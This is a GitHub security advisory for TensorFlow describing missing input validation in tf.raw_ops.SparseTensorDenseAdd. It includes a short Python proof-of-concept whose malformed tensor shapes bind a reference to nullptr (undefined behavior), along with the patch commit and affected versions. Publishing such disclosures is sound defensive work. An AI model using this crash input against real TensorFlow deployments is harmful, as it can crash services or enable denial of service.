GHSA-rc9w-5c64-9vqq
GitHub Security Advisory
Missing validation results in undefined behavior in `SparseTensorDenseAdd
Advisory Details
### Impact
The implementation of [`tf.raw_ops.SparseTensorDenseAdd`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/sparse_tensor_dense_add_op.cc) does not fully validate the input arguments:
```python
import tensorflow as tf
a_indices = tf.constant(0, shape=[17, 2], dtype=tf.int64)
a_values = tf.constant([], shape=[0], dtype=tf.float32)
a_shape = tf.constant([6, 12], shape=[2], dtype=tf.int64)
b = tf.constant(-0.223668531, shape=[6, 12], dtype=tf.float32)
tf.raw_ops.SparseTensorDenseAdd(
a_indices=a_indices, a_values=a_values, a_shape=a_shape, b=b)
```
In this case, a reference gets bound to a `nullptr` during kernel execution. This is UB.
### Patches
We have patched the issue in GitHub commit [11ced8467eccad9c7cb94867708be8fa5c66c730](https://github.com/tensorflow/tensorflow/commit/11ced8467eccad9c7cb94867708be8fa5c66c730).
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
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